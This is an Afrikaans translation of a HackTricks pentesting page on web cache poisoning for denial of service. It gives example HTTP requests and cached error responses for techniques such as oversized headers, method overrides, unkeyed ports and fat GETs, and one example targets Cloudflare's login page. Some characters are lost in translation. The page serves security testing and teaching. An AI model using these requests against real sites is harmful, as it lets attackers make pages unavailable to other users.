Cache Poisoning to DoS

Support HackTricks

Op hierdie bladsy kan jy verskillende variasies vind om te probeer om die webbediener te laat reageer met foute op versoeke wat geldige is vir die cache bedieners

  • HTTP Header Oversize (HHO)

Stuur 'n versoek met 'n kopgrootte groter as die een wat deur die webbediener ondersteun word, maar kleiner as die een wat deur die cachebediener ondersteun word. Die webbediener sal met 'n 400 respons antwoordgee wat dalk gekanselleer kan word:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Karakter (HMC) & Onverwagte waardes

Stuur 'n kop wat sommige skadelike meta karakters soos en bevat. Ten einde die aanval te laat werk, moet jy eers die cache omseil.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

'n Sleg geconfigureerde kop kan net \: as 'n kop wees.

Dit kan ook werk as onverwagte waardes gestuur word, soos 'n onverwagte Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Ongekeyde kop

Sommige webwerwe sal 'n foutstatuskode teruggee as hulle sekere spesifieke koppe in die versoek sien soos met die X-Amz-Website-Location-Redirect: someThing kop:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Metode Oorskrywing Aanval (HMO)

As die bediener die verandering van die HTTP metode met koptekste soos X-HTTP-Method-Override, X-HTTP-Method of X-Method-Override ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Ongekeyde Poort

As die poort in die Host-kop weerspieël word in die antwoord en nie in die cache-sleutel ingesluit is nie, is dit moontlik om dit na 'n onbenutte poort te herlei:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die herlei-respons gedrag misbruik om die herlei 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om toegang te verkry tot die URL sonder die ongecacheerde x sleutel die foutrespons ontvang:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Gasheer-kop geval normalisering

Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Pad normalisering

Sommige bladsye sal foutkode teruggee wanneer data URLencode in die pad gestuur word, egter, die cache bediener sal die pad URLdecode en die antwoord vir die URLdecoded pad stoor:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Sommige cache bedieners, soos Cloudflare, of web bedieners, stop GET versoeke met 'n liggaam, so dit kan misbruik word om 'n ongeldige antwoord te kas:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Verwysings

Ondersteun HackTricks

Last updated